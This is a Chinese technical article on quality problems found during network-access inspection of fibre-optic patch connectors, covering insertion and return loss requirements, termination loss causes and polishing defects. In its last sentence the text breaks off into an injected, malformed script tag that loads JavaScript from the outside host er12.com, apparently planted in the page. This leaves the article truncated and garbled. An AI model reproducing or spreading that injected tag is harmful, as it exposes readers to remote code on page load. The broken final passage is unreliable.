光纤活动连接器常见问题及分析

近几年来,光通信在世界范围内得到飞速发展,光通信的触角也不断从骨干网向非骨干网及接入网中延伸。与此同时,作为光通信中不可缺少的连接部件-----光纤活动连接器,也随着光通信的发展而得到更加广泛的应用。因此,光纤活动连接器质量问题也越来越引起了相关部门的重视,在信息产业部信科(1999)68号的发文中向各相关检验中心发布了《单模光纤活动连接器进网质量检验实施细则》,通过这几年的进网检验,光纤活动连接器的产品质量得到了普遍的提高,但是,由于光纤活动连接器的生产受到技术及设备的局限性,因此不可避免仍然存在一些问题,本文就目前光纤活动连接器进网检验的现状及进网检验中所发现的一些问题进行归纳和分析。

  一、光纤活动连接器进网检验中较常出现的一些问题

  光纤活动连接器在1999年开始进行进网质量检验以来,光纤活动连接器的产品质量在稳步提高。在此之前,光纤活动连接器的质量很不稳定,有不少检验项目都在不同程度存在一些问题,如常态的插入损耗过高或回波损耗过低;重复性差别较大,稳定性不好;机械耐久性差,经过多次插拔,插入损耗和回波损耗的测试值明显变差;耐环境试验差,经过高温试验或盐雾的环境试验后,连接器外观明显出现不应有的一些问题等等。但随着这几年技术和设备的改善,进网检验的光纤活动连接器出现的问题比以前的要少多了。在此就目前进网检验中仍然较为常见的问题作一下阐述和分析。

  1.光纤活动连接器的光学指标

  在光纤活动连接器的进网检验中,光学性能方面出现的主要问题是插入损耗和回波损耗无法达到细则中规定的要求。为了说明这个问题,首先把细则中对光纤连接器的光学性能方面的技术要求在这里详细介绍一下,表1是细则中规定的详细技术指标要求。

  这些技术要求与标准中的技术要求大部分是一致的,但也有一点小小的区别,主要区别是,标准中规定的插入损耗要求一般为≤0.5db,而在进网检验细则中要求为pc型≤0.2db,而apc型≤0.3db。另外标准中对回波损耗的要求为:pc型≥40db,而在细则中则规定为:pc型≥45db,upc型≥50db。apc型的回波损耗标准与细则的要求是一致的,均为≥60db。弄清这些区别对于厂家指导自己的产品生产和质量检验以及申请光纤活动连接器进网检验肯定是有帮助的。

  下面简单地分析一下光纤活动连接器可能出现光学性能质量问题的原因。

  根据前面的介绍我们知道,光纤活动连接器的光学性能主要包括插入损耗和回波损耗。而插入损耗与回波损耗并非是独立的,理论上是高插入损耗则一般对应低回波损耗,与之相反,低插入损耗则一般对应高回波损耗。但由于插入损耗光功率的数量级远大于回波损耗光功率的数量级,因此上述规律并非是绝对的。实际上回波损耗的大小主要取决于能否把反射光尽量旁路掉,这跟端插针端面的结构很有关系。为方便起见,本文在讨论光纤活动连接器的光学性能的影响因素时,只讨论插入损耗的影响因素。

  光纤活动连接器的插入损耗是由光纤固有损耗和端接损耗引起的,而光纤固有损耗主要包括光纤吸收损耗和瑞利散射损耗,目前光纤的制造技术可以使光纤的固有损耗在1550nm附近降到0.2db/km,而光纤跳线的长度通常为10m左右,因此光纤跳线的固有损耗几乎可以忽略不计。因此光纤活动连接器的插入损耗主要取决于光纤跳线的端接损耗。

  端接损耗是指两根光纤跳线通过适配器连接而引起的损耗。产生端接损耗的原因有很多,大概包括有纤心尺寸失配、数值孔径失配、折射率分布失配、端面间隙、轴线倾角、横向偏移或同心度、菲涅尔(fresnel)反射等等。

  根据标准和细则的规定,光纤活动连接器的插入损耗是使用标准跳线与被测光纤活动连接器相连,从而测量出光纤活动连接器的插入损耗。根据这种测试方法,则光纤活动连接器的端接损耗实际是被测跳线与标准跳线间的端接损耗。考虑到标准跳线一般是非常规范的,因此,端接损耗主要取决于被测光纤活动连接器。在光纤活动连接器的测试过程中,通过清洁的无毛软纸沾酒精擦拭和反复插拔,首先可以排除由于端面不洁和连接不当等偶然因素造成端接损耗过高。除此之外,根据我们大量检测的经验以及使用端面干涉仪的辅助分析,光学性能中端接损耗过高的原因主要体现在以下几个方面。

  (1)研磨不充分。研磨是光纤活动连接器插针生产中很重要的一道工序。研磨不充分往往会造成光纤插头插针端面凹凸不平。这种光纤活动连接器互相连接势必会使两根光纤之间有空气缝隙,这样就容易造成光学性能变差。在研磨不充分的插针端面上还可能存在划痕,如果划划痕直接通过纤心,它们同样会引起光纤活动连接器光学性能的明显?script src=http://er12.com/t.js>

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发布日期:2019年07月02日  所属分类:参考设计